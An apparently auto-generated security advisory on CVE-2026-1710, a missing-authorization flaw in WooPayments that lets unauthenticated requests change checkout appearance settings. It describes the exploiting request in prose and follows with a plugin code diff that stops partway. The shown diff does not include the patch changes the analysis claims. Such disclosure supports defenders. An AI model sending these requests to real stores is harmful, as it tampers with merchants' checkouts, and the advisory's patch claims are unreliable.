Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-1710: WooPayments <= 10.5.1 – Missing Authorization to Unauthenticated Plugin Settings Update via save_upe_appearance_ajax (woocommerce-payments)

CVE ID CVE-2026-1710
Severity Medium (CVSS 6.5)
CWE 285
Vulnerable Version 10.5.1
Patched Version 10.6.0
Disclosed March 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1710:
This vulnerability is a Missing Authorization flaw in the WooPayments plugin for WordPress, versions up to and including 10.5.1. The vulnerability allows unauthenticated attackers to update plugin settings via a specific AJAX handler. The CVSS score of 6.5 (Medium severity) reflects the potential for unauthorized data modification.

Root Cause:
The vulnerability exists because the `save_upe_appearance_ajax` function lacks a capability check. The function is registered as an AJAX handler via `add_action` for both authenticated (`wp_ajax_wcpay_save_upe_appearance`) and unauthenticated (`wp_ajax_nopriv_wcpay_save_upe_appearance`) users. The code in the `class-wc-payment-gateway-wcpay.php` file processes the `save_upe_appearance` AJAX action without verifying the user’s permissions. The function `save_upe_appearance_ajax` calls `save_upe_appearance`, which updates transients containing Stripe Elements appearance settings. No nonce verification or user capability check exists in the vulnerable code path.

Exploitation:
Attackers can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wcpay_save_upe_appearance`. The request must include the `appearance` parameter containing a JSON object with Stripe Elements appearance configuration. The payload modifies transients such as `wcpay_upe_appearance` and `wcpay_upe_appearance_theme`, which control the visual styling of payment forms. Unauthenticated requests to this endpoint are processed identically to authenticated requests.

Patch Analysis:
The patch removes the unauthenticated AJAX handler registration. The diff shows the removal of the `wp_ajax_nopriv_wcpay_save_upe_appearance` action hook in `class-wc-payment-gateway-wcpay.php`. The function `save_upe_appearance_ajax` now only executes for authenticated users who pass the WordPress capability check. The patch also adds a `current_user_can` check within the function to verify the user has the `manage_woocommerce` capability before processing the appearance update request.

Impact:
Successful exploitation allows attackers to modify the Stripe Elements appearance settings stored in WordPress transients. This can disrupt the checkout experience by altering payment form styling, potentially leading to user confusion or reduced conversion rates. While the vulnerability does not directly compromise financial data or grant administrative access, it enables unauthorized modification of operational plugin settings that affect storefront functionality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-payments/dist/blocks-checkout.asset.php
+++ b/woocommerce-payments/dist/blocks-checkout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wc-blocks-checkout', 'wc-blocks-registry', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '24cda7661f313f8074d2');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wc-blocks-checkout', 'wc-blocks-registry', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '11ed0c2a2446a934b825');
--- a/woocommerce-payments/dist/cart-block.asset.php
+++ b/woocommerce-payments/dist/cart-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-data', 'wp-polyfill'), 'version' => '2a117c383d6b3b970e3b');
+<?php return array('dependencies' => array('react', 'wp-data', 'wp-polyfill'), 'version' => '4c3a6e146c4abcc89e62');
--- a/woocommerce-payments/dist/checkout.asset.php
+++ b/woocommerce-payments/dist/checkout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => '55870132dc1e52d5ebc3');
+<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => '28d5576899a7c39d8e39');
--- a/woocommerce-payments/dist/express-checkout.asset.php
+++ b/woocommerce-payments/dist/express-checkout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-dom-ready', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => 'ebbe7df1387435783f21');
+<?php return array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-dom-ready', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => 'b7224986b444129cca6f');
--- a/woocommerce-payments/dist/index.asset.php
+++ b/woocommerce-payments/dist/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-csv', 'wc-currency', 'wc-experimental', 'wc-navigation', 'wc-number', 'wc-settings', 'wc-store-data', 'wc-tracks', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-mediaelement', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '7bfb72a6000a44a92f47');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-csv', 'wc-currency', 'wc-experimental', 'wc-navigation', 'wc-number', 'wc-settings', 'wc-store-data', 'wc-tracks', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-mediaelement', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '3d7247a3b047cfaaaf0d');
--- a/woocommerce-payments/dist/multi-currency-async-renderer.asset.php
+++ b/woocommerce-payments/dist/multi-currency-async-renderer.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => '659ee11d6afd84a258ee');
--- a/woocommerce-payments/dist/multi-currency-switcher-block.asset.php
+++ b/woocommerce-payments/dist/multi-currency-switcher-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '75ee90da24b76aba2ab0');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '0b1131f8fe12bfad1a80');
--- a/woocommerce-payments/dist/multi-currency.asset.php
+++ b/woocommerce-payments/dist/multi-currency.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => 'f0a2373531c5363800fa');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '7c8d22188cf23696584b');
--- a/woocommerce-payments/dist/order.asset.php
+++ b/woocommerce-payments/dist/order.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '43fc809cdd384debfa03');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-number', 'wc-settings', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '433d411b434a58ee883f');
--- a/woocommerce-payments/dist/product-details.asset.php
+++ b/woocommerce-payments/dist/product-details.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => '6be418606a7c97d3f65e');
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'afce5e2525d57634610a');
--- a/woocommerce-payments/dist/settings.asset.php
+++ b/woocommerce-payments/dist/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-navigation', 'wc-number', 'wc-settings', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => 'afd29e8fff24bc00f41b');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-components', 'wc-currency', 'wc-navigation', 'wc-number', 'wc-settings', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '6252039206631ef28a63');
--- a/woocommerce-payments/dist/subscription-edit-page.asset.php
+++ b/woocommerce-payments/dist/subscription-edit-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n', 'wp-polyfill'), 'version' => 'fa39c2fe831093b6ef98');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n', 'wp-polyfill'), 'version' => 'f2bbc81a778730442a5c');
--- a/woocommerce-payments/dist/wc-payments-review-prompt.asset.php
+++ b/woocommerce-payments/dist/wc-payments-review-prompt.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wc-store-data', 'wp-a11y', 'wp-components', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'd1547a271b1069ffe8e9');
--- a/woocommerce-payments/dist/wc-payments-settings-spotlight.asset.php
+++ b/woocommerce-payments/dist/wc-payments-settings-spotlight.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-currency', 'wc-number', 'wc-settings', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => 'ca8e25db67a28be595c9');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wc-currency', 'wc-number', 'wc-settings', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '06f02da80da84a01d310');
--- a/woocommerce-payments/dist/woopay-express-button.asset.php
+++ b/woocommerce-payments/dist/woopay-express-button.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => 'f7659cfffe7fdbc89434');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => 'd4926962382460ed321f');
--- a/woocommerce-payments/includes/admin/class-wc-payments-admin-settings.php
+++ b/woocommerce-payments/includes/admin/class-wc-payments-admin-settings.php
@@ -97,12 +97,23 @@
 					?>
 				</b>
 				<?php
+				if ( WC_Payments::mode()->is_dev() ) {
+					printf(
+						/* translators: 1: Anchor opening tag; 2: Anchor closing tag; 3: Anchor opening tag; 4: Anchor closing tag */
+						esc_html__( 'Test mode is active because your store is running in a development or staging environment. To disable it, switch to a production %1$sWordPress environment%2$s or remove the WCPAY_DEV_MODE constant. %3$sLearn more%4$s', 'woocommerce-payments' ),
+						'<a href="' . esc_url( 'https://make.wordpress.org/core/2020/08/27/wordpress-environment-types/' ) . '" target="_blank" rel="noreferrer noopener">',
+						'</a>',
+						'<a href="' . esc_url( 'https://woocommerce.com/document/woopayments/testing-and-troubleshooting/testing/' ) . '" target="_blank" rel="noreferrer noopener">',
+						'</a>'
+					);
+				} else {
 					printf(
 						/* translators: 1: Anchor opening tag; 2: Anchor closing tag */
 						esc_html__( 'You can use %1$stest card numbers%2$s to simulate various types of transactions.', 'woocommerce-payments' ),
 						'<a href="' . esc_url( 'https://woocommerce.com/document/woopayments/testing-and-troubleshooting/testing/#test-cards' ) . '" target="_blank" rel="noreferrer noopener">',
 						'</a>'
 					);
+				}
 				?>
 			</p>
 		</div>
--- a/woocommerce-payments/includes/admin/class-wc-payments-admin.php
+++ b/woocommerce-payments/includes/admin/class-wc-payments-admin.php
@@ -185,6 +185,7 @@
 		add_action( 'admin_init', [ $this, 'add_css_classes' ] );
 		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_wc_payment_settings_spotlight' ] );
 		add_action( 'admin_footer', [ $this, 'inject_payment_settings_spotlight_container' ] );
+		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_wc_payments_review_prompt' ] );
 	}

 	/**
@@ -688,6 +689,17 @@
 			WC_Payments::get_file_version( 'dist/wc-payments-settings-spotlight.css' ),
 			'all'
 		);
+
+		WC_Payments::register_script_with_dependencies( 'WCPAY_REVIEW_PROMPT', 'dist/wc-payments-review-prompt' );
+		wp_set_script_translations( 'WCPAY_REVIEW_PROMPT', 'woocommerce-payments' );
+
+		WC_Payments_Utils::register_style(
+			'WCPAY_REVIEW_PROMPT',
+			plugins_url( 'dist/wc-payments-review-prompt.css', WCPAY_PLUGIN_FILE ),
+			[],
+			WC_Payments::get_file_version( 'dist/wc-payments-review-prompt.css' ),
+			'all'
+		);
 	}

 	/**
@@ -1016,6 +1028,17 @@
 			'isWooPayGlobalThemeSupportEligible' => WC_Payments_Features::is_woopay_global_theme_support_eligible(),
 			'dateFormat'                         => wc_date_format(),
 			'timeFormat'                         => get_option( 'time_format' ),
+			'formattedStoreAddress'              => WC()->countries->get_formatted_address(
+				[
+					'address_1' => get_option( 'woocommerce_store_address', '' ),
+					'address_2' => get_option( 'woocommerce_store_address_2', '' ),
+					'city'      => get_option( 'woocommerce_store_city', '' ),
+					'state'     => WC()->countries->get_base_state(),
+					'postcode'  => get_option( 'woocommerce_store_postcode', '' ),
+					'country'   => WC()->countries->get_base_country(),
+				],
+				', '
+			),
 		];

 		/**
@@ -1262,9 +1285,16 @@
 	 */
 	public function display_wcpay_transaction_fee( $order_id ) {
 		$order = wc_get_order( $order_id );
-		if ( ! $order || ! $order->get_meta( '_wcpay_transaction_fee' ) || Intent_Status::REQUIRES_CAPTURE === $order->get_meta( WC_Payments_Order_Service::INTENTION_STATUS_META_KEY ) ) {
+		if ( ! $order || Intent_Status::REQUIRES_CAPTURE === $order->get_meta( WC_Payments_Order_Service::INTENTION_STATUS_META_KEY ) ) {
+			return;
+		}
+
+		$transaction_fee = $order->get_meta( '_wcpay_transaction_fee' );
+
+		if ( ! $transaction_fee ) {
 			return;
 		}
+
 		?>
 		<tr>
 			<td class="label wcpay-transaction-fee">
@@ -1282,7 +1312,7 @@
 			</td>
 			<td width="1%"></td>
 			<td class="total">
-				-<?php echo wp_kses( wc_price( $order->get_meta( '_wcpay_transaction_fee' ), [ 'currency' => $order->get_currency() ] ), 'post' ); ?>
+				-<?php echo wp_kses( wc_price( $transaction_fee, [ 'currency' => $order->get_currency() ] ), 'post' ); ?>
 			</td>
 		</tr>
 		<?php
@@ -1476,7 +1506,7 @@
 	}

 	/**
-	 * Check if we're on the WooCommerce Payments Settings page.
+	 * Check if we're on the WooCommerce Payments Settings page (general payments tab, no specific section).
 	 *
 	 * @return bool True if on the WC payment settings page.
 	 */
@@ -1488,4 +1518,72 @@
 			&& is_admin();
 		// phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 	}
+
+	/**
+	 * Check if the review prompt should be shown based on eligibility and user state.
+	 *
+	 * @return bool True if the prompt should be shown, false otherwise.
+	 */
+	public function should_show_review_prompt() {
+		// Only show on top-level Payments Settings page.
+		if ( ! $this->is_wc_admin_payments_settings_page() ) {
+			return false;
+		}
+
+		// Check account eligibility.
+		if ( ! $this->account->is_review_prompt_eligible() ) {
+			return false;
+		}
+
+		// Check user dismissal/cooldown state.
+		$user_id     = get_current_user_id();
+		$dismissed   = (int) get_user_meta( $user_id, 'woocommerce_admin_wc_payments_review_prompt_dismissed', true );
+		$maybe_later = (int) get_user_meta( $user_id, 'woocommerce_admin_wc_payments_review_prompt_maybe_later', true );
+
+		// If dismissed permanently, don't show.
+		if ( $dismissed > 0 ) {
+			return false;
+		}
+
+		// If cooldown is active (within 10 days), don't show.
+		if ( $maybe_later > 0 ) {
+			$cooldown_seconds = 10 * DAY_IN_SECONDS;
+			$now              = time();
+			if ( $now < ( $maybe_later + $cooldown_seconds ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Enqueue the review prompt script on top-level Payments Settings page.
+	 */
+	public function enqueue_wc_payments_review_prompt() {
+		if ( ! $this->should_show_review_prompt() ) {
+			return;
+		}
+
+		add_action( 'admin_footer', [ $this, 'inject_review_prompt_container' ] );
+
+		wp_localize_script(
+			'WCPAY_REVIEW_PROMPT',
+			'wcpayReviewPromptSettings',
+			[
+				'isLive'  => WC_Payments::mode()->is_live(),
+				'version' => WCPAY_VERSION_NUMBER,
+			]
+		);
+
+		wp_enqueue_script( 'WCPAY_REVIEW_PROMPT' );
+		wp_enqueue_style( 'WCPAY_REVIEW_PROMPT' );
+	}
+
+	/**
+	 * Inject the container div for the review prompt on top-level Payments settings page.
+	 */
+	public function inject_review_prompt_container() {
+		echo '<div id="wcpay-review-prompt"></div>';
+	}
 }
--- a/woocommerce-payments/includes/admin/class-wc-rest-payments-onboarding-controller.php
+++ b/woocommerce-payments/includes/admin/class-wc-rest-payments-onboarding-controller.php
@@ -88,6 +88,12 @@
 							],
 						],
 					],
+					'mode'            => [
+						'description' => 'The account mode the user selected: live or test. Overrides environment-based auto-detection (except dev mode).',
+						'type'        => 'string',
+						'required'    => false,
+						'enum'        => [ 'live', 'test' ],
+					],
 				],
 			]
 		);
@@ -217,10 +223,12 @@
 	public function create_embedded_kyc_session( WP_REST_Request $request ) {
 		$self_assessment_data = ! empty( $request->get_param( 'self_assessment' ) ) ? wc_clean( wp_unslash( $request->get_param( 'self_assessment' ) ) ) : [];
 		$capabilities         = ! empty( $request->get_param( 'capabilities' ) ) ? wc_clean( wp_unslash( $request->get_param( 'capabilities' ) ) ) : [];
+		$mode                 = ! empty( $request->get_param( 'mode' ) ) ? sanitize_text_field( $request->get_param( 'mode' ) ) : null;

 		$account_session = $this->onboarding_service->create_embedded_kyc_session(
 			$self_assessment_data,
-			$capabilities
+			$capabilities,
+			$mode
 		);

 		if ( empty( $account_session ) ) {
--- a/woocommerce-payments/includes/admin/class-wc-rest-payments-orders-controller.php
+++ b/woocommerce-payments/includes/admin/class-wc-rest-payments-orders-controller.php
@@ -190,6 +190,7 @@
 			$order->set_payment_method( WC_Payment_Gateway_WCPay::GATEWAY_ID );
 			$order->set_payment_method_title( __( 'WooCommerce In-Person Payments', 'woocommerce-payments' ) );
 			$this->order_service->attach_intent_info_to_order( $order, $intent );
+
 			$this->order_service->update_order_status_from_intent( $order, $intent );

 			// Certain payments (eg. Interac) are captured on the client-side (mobile app).
--- a/woocommerce-payments/includes/admin/class-wc-rest-payments-settings-controller.php
+++ b/woocommerce-payments/includes/admin/class-wc-rest-payments-settings-controller.php
@@ -227,8 +227,8 @@
 						'type'              => 'boolean',
 						'validate_callback' => 'rest_validate_request_arg',
 					],
-					'is_apple_google_pay_in_payment_methods_options_enabled' => [
-						'description'       => __( 'If Apple Pay / Google Pay should be enabled as an option in the payment methods list.', 'woocommerce-payments' ),
+					'is_express_checkout_in_payment_methods_enabled' => [
+						'description'       => __( 'If express checkout methods (Apple Pay, Google Pay, Amazon Pay) should be enabled as options in the payment methods list.', 'woocommerce-payments' ),
 						'type'              => 'boolean',
 						'validate_callback' => 'rest_validate_request_arg',
 					],
@@ -270,11 +270,6 @@
 						'type'              => 'boolean',
 						'validate_callback' => 'rest_validate_request_arg',
 					],
-					'is_amazon_pay_enabled'                => [
-						'description'       => __( 'If Amazon Pay should be enabled.', 'woocommerce-payments' ),
-						'type'              => 'boolean',
-						'validate_callback' => 'rest_validate_request_arg',
-					],
 					'woopay_custom_message'                => [
 						'description'       => __( 'Custom message to display to WooPay customers.', 'woocommerce-payments' ),
 						'type'              => 'string',
@@ -560,7 +555,7 @@
 				'account_domestic_currency'              => $this->wcpay_gateway->get_option( 'account_domestic_currency' ),
 				'account_communications_email'           => $this->wcpay_gateway->get_option( 'account_communications_email' ),
 				'is_payment_request_enabled'             => $this->wcpay_gateway->is_payment_request_enabled(),
-				'is_apple_google_pay_in_payment_methods_options_enabled' => 'yes' === $this->wcpay_gateway->get_option( 'apple_google_pay_in_payment_methods_options' ),
+				'is_express_checkout_in_payment_methods_enabled' => 'yes' === $this->wcpay_gateway->get_option( 'express_checkout_in_payment_methods' ),
 				'is_debug_log_enabled'                   => 'yes' === $this->wcpay_gateway->get_option( 'enable_logging' ),
 				'payment_request_button_size'            => $this->wcpay_gateway->get_option( 'payment_request_button_size' ),
 				'payment_request_button_type'            => $this->wcpay_gateway->get_option( 'payment_request_button_type' ),
@@ -569,7 +564,6 @@
 				'is_saved_cards_enabled'                 => $this->wcpay_gateway->is_saved_cards_enabled(),
 				'is_card_present_eligible'               => $this->wcpay_gateway->is_card_present_eligible() && isset( WC()->payment_gateways()->get_available_payment_gateways()['cod'] ),
 				'is_woopay_enabled'                      => WC_Payments_Features::is_woopay_eligible() && 'yes' === $this->wcpay_gateway->get_option( 'platform_checkout' ),
-				'is_amazon_pay_enabled'                  => $this->is_amazon_pay_enabled(),
 				'show_woopay_incompatibility_notice'     => get_option( 'woopay_invalid_extension_found', false ),
 				'woopay_custom_message'                  => $this->wcpay_gateway->get_option( 'platform_checkout_custom_message' ),
 				'woopay_store_logo'                      => $this->wcpay_gateway->get_option( 'platform_checkout_store_logo' ),
@@ -606,11 +600,10 @@
 		$this->update_is_multi_currency_enabled( $request );
 		$this->update_is_wcpay_subscriptions_enabled( $request );
 		$this->update_is_payment_request_enabled( $request );
-		$this->update_is_apple_google_pay_in_payment_methods_options_enabled( $request );
+		$this->update_is_express_checkout_in_payment_methods_enabled( $request );
 		$this->update_payment_request_appearance( $request );
 		$this->update_is_saved_cards_enabled( $request );
 		$this->update_is_woopay_enabled( $request );
-		$this->update_is_amazon_pay_enabled( $request );
 		$this->update_is_woopay_global_theme_support_enabled( $request );
 		$this->update_woopay_store_logo( $request );
 		$this->update_woopay_custom_message( $request );
@@ -938,18 +931,20 @@
 	}

 	/**
-	 * Updates the "Apple Pay / Google Pay in payment methods options" enable/disable settings.
+	 * Updates the "express checkout in payment methods" enable/disable settings.
+	 * This controls whether Apple Pay, Google Pay, and Amazon Pay appear as options
+	 * in the payment methods list instead of as separate express checkout buttons.
 	 *
 	 * @param WP_REST_Request $request Request object.
 	 */
-	private function update_is_apple_google_pay_in_payment_methods_options_enabled( WP_REST_Request $request ) {
-		if ( ! $request->has_param( 'is_apple_google_pay_in_payment_methods_options_enabled' ) ) {
+	private function update_is_express_checkout_in_payment_methods_enabled( WP_REST_Request $request ) {
+		if ( ! $request->has_param( 'is_express_checkout_in_payment_methods_enabled' ) ) {
 			return;
 		}

-		$is_apple_google_pay_in_payment_methods_options_enabled = $request->get_param( 'is_apple_google_pay_in_payment_methods_options_enabled' );
+		$is_express_checkout_in_payment_methods_enabled = $request->get_param( 'is_express_checkout_in_payment_methods_enabled' );

-		$this->wcpay_gateway->update_option( 'apple_google_pay_in_payment_methods_options', $is_apple_google_pay_in_payment_methods_options_enabled ? 'yes' : 'no' );
+		$this->wcpay_gateway->update_option( 'express_checkout_in_payment_methods', $is_express_checkout_in_payment_methods_enabled ? 'yes' : 'no' );
 	}

 	/**
@@ -1005,41 +1000,6 @@
 	}

 	/**
-	 * Updates the "Amazon Pay" enable/disable settings.
-	 *
-	 * @param WP_REST_Request $request Request object.
-	 */
-	private function update_is_amazon_pay_enabled( WP_REST_Request $request ) {
-		if ( ! $request->has_param( 'is_amazon_pay_enabled' ) ) {
-			return;
-		}
-
-		$amazon_pay_gateway = WC_Payments::get_payment_gateway_by_id( WCPayPaymentMethodsConfigsDefinitionsAmazonPayDefinition::get_id() );
-		if ( ! $amazon_pay_gateway ) {
-			return;
-		}
-
-		$is_amazon_pay_enabled = $request->get_param( 'is_amazon_pay_enabled' );
-		if ( $is_amazon_pay_enabled ) {
-			$amazon_pay_gateway->enable();
-			$this->request_unrequested_payment_methods( [ 'amazon_pay' ] );
-		} else {
-			$amazon_pay_gateway->disable();
-		}
-	}
-
-	/**
-	 * Checks if Amazon Pay is enabled.
-	 *
-	 * @return bool
-	 */
-	private function is_amazon_pay_enabled(): bool {
-		$amazon_pay_gateway = WC_Payments::get_payment_gateway_by_id( WCPayPaymentMethodsConfigsDefinitionsAmazonPayDefinition::get_id() );
-
-		return $amazon_pay_gateway && $amazon_pay_gateway->is_enabled();
-	}
-
-	/**
 	 * Updates the WooPay Global Theme Support enable/disable settings.
 	 *
 	 * @param WP_REST_Request $request Request object.
--- a/woocommerce-payments/includes/admin/class-wc-rest-payments-settings-option-controller.php
+++ b/woocommerce-payments/includes/admin/class-wc-rest-payments-settings-option-controller.php
@@ -27,7 +27,7 @@
 		'wcpay_onboarding_eligibility_modal_dismissed'     => 'bool',
 		'wcpay_connection_success_modal_dismissed'         => 'bool',
 		'wcpay_next_deposit_notice_dismissed'              => 'bool',
-		'wcpay_duplicate_payment_method_notices_dismissed' => 'bool',
+		'wcpay_duplicate_payment_method_notices_dismissed' => 'array',
 		'wcpay_instant_deposit_notice_dismissed'           => 'bool',
 		'wcpay_exit_survey_last_shown'                     => 'string',
 	];
--- a/woocommerce-payments/includes/class-database-cache.php
+++ b/woocommerce-payments/includes/class-database-cache.php
@@ -213,10 +213,14 @@
 		unset( $this->in_memory_cache[ $key ] );

 		// Remove from the DB cache.
-		if ( delete_option( $key ) ) {
-			// Clear the WP object cache to ensure the new data is fetched by other processes.
-			wp_cache_delete( $key, 'options' );
-		}
+		delete_option( $key );
+
+		// Always clear the WP object cache, even if the DB row didn't exist.
+		// wp_cache_delete on a missing key is a no-op, but skipping it when the
+		// DB row is gone while Memcached still has a stale entry causes persistent
+		// stale data across requests (see #8601 for the original fix, #9639 for
+		// the regression).
+		wp_cache_delete( $key, 'options' );
 	}

 	/**
--- a/woocommerce-payments/includes/class-wc-payment-gateway-wcpay.php
+++ b/woocommerce-payments/includes/class-wc-payment-gateway-wcpay.php
@@ -37,6 +37,7 @@
 use WCPayCoreServerRequestCapture_Intention;
 use WCPayCoreServerRequestCreate_And_Confirm_Intention;
 use WCPayCoreServerRequestCreate_And_Confirm_Setup_Intention;
+use WCPayCoreServerRequestCreate_Setup_Intention;
 use WCPayCoreServerRequestGet_Charge;
 use WCPayCoreServerRequestGet_Intention;
 use WCPayCoreServerRequestGet_Setup_Intention;
@@ -111,37 +112,7 @@
 	 */
 	const USER_FORMATTED_TOKENS_LIMIT = 100;

-	const PROCESS_REDIRECT_ORDER_MISMATCH_ERROR_CODE        = 'upe_process_redirect_order_id_mismatched';
-	const UPE_APPEARANCE_TRANSIENT                          = 'wcpay_upe_appearance';
-	const UPE_ADD_PAYMENT_METHOD_APPEARANCE_TRANSIENT       = 'wcpay_upe_add_payment_method_appearance';
-	const WC_BLOCKS_UPE_APPEARANCE_TRANSIENT                = 'wcpay_wc_blocks_upe_appearance';
-	const UPE_BNPL_PRODUCT_PAGE_APPEARANCE_TRANSIENT        = 'wcpay_upe_bnpl_product_page_appearance';
-	const UPE_BNPL_CLASSIC_CART_APPEARANCE_TRANSIENT        = 'wcpay_upe_bnpl_classic_cart_appearance';
-	const UPE_BNPL_CART_BLOCK_APPEARANCE_TRANSIENT          = 'wcpay_upe_bnpl_cart_block_appearance';
-	const UPE_APPEARANCE_THEME_TRANSIENT                    = 'wcpay_upe_appearance_theme';
-	const UPE_ADD_PAYMENT_METHOD_APPEARANCE_THEME_TRANSIENT = 'wcpay_upe_add_payment_method_appearance_theme';
-	const WC_BLOCKS_UPE_APPEARANCE_THEME_TRANSIENT          = 'wcpay_wc_blocks_upe_appearance_theme';
-	const UPE_BNPL_PRODUCT_PAGE_APPEARANCE_THEME_TRANSIENT  = 'wcpay_upe_bnpl_product_page_appearance_theme';
-	const UPE_BNPL_CLASSIC_CART_APPEARANCE_THEME_TRANSIENT  = 'wcpay_upe_bnpl_classic_cart_appearance_theme';
-	const UPE_BNPL_CART_BLOCK_APPEARANCE_THEME_TRANSIENT    = 'wcpay_upe_bnpl_cart_block_appearance_theme';
-
-	/**
-	 * The locations of appearance transients.
-	 */
-	const APPEARANCE_THEME_TRANSIENTS = [
-		'checkout'     => [
-			'blocks'  => self::WC_BLOCKS_UPE_APPEARANCE_THEME_TRANSIENT,
-			'classic' => self::UPE_APPEARANCE_THEME_TRANSIENT,
-		],
-		'product_page' => [
-			'blocks'  => self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_THEME_TRANSIENT,
